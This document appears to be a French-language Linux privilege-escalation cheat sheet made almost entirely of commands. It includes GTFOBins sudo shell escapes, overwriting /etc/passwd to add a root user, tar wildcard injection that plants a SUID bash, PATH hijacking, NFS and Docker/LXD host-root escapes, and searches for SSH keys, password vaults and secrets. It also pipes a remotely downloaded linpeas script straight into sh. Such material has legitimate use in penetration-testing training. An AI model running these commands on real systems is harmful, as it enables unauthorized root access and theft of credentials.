#Les cinq premières minutes
id
sudo -l
uname -a
cat /etc/os-release
hostname
# SUID / SGID
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Cron et timers
cat /etc/crontab
ls -la /etc/cron.* /var/spool/cron/crontabs 2>/dev/null
systemctl list-timers --all
#Sudo
sudo -l
# Exemples GTFOBins
sudo vim -c ':!/bin/sh'
sudo find / -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo less /etc/hosts # puis : !/bin/sh
sudo nmap --interactive # anciennes versions : !sh
#SUID et capabilities
# Chercher un binaire SUID connu
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Exemple : cp SUID → écraser /etc/passwd
cp /etc/passwd /tmp/passwd.bak
openssl passwd -1 -salt x NewPass123
# Ajouter une ligne root2:$1$x$HASH:0:0:root:/root:/bin/bash
# Capabilities intéressantes
getcap -r / 2>/dev/null | grep -E "cap_setuid|cap_net_raw|cap_dac_read_search"
#Cron et scripts
# Scripts modifiables exécutés par root
find / -writable -type f 2>/dev/null | grep -E "\.sh$|\.py$"
# Wildcard injection (tar, rsync, chown)
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/shell.sh
chmod +x /tmp/shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh /tmp/shell.sh'
# PATH hijack dans un cron
echo '/bin/sh' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
#Réseau et groupes
# NFS sans root_squash
showmount -e 10.10.10.10
# Monter et créer un binaire SUID root
mount -t nfs 10.10.10.10:/export /mnt
cp /bin/bash /mnt/bash && chmod +s /mnt/bash
# Groupes dangereux
id | grep -E "docker|lxd|disk|adm|sudo"
# Docker : monter l'hôte
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# LXD : conteneur privilégié
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc && lxc exec privesc -- /bin/sh
#Credentials et kernel
# Historiques et fichiers sensibles
grep -riE "password|passwd|secret|token" /home /var/www /opt 2>/dev/null | head -50
cat ~/.bash_history ~/.ssh/id_rsa 2>/dev/null
find / -name "*.kdbx" -o -name "id_rsa" 2>/dev/null
# Exploits kernel (après avoir identifié la version)
uname -a
searchsploit linux kernel $(uname -r)
# Script d'énumération complet
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linpeas.sh -a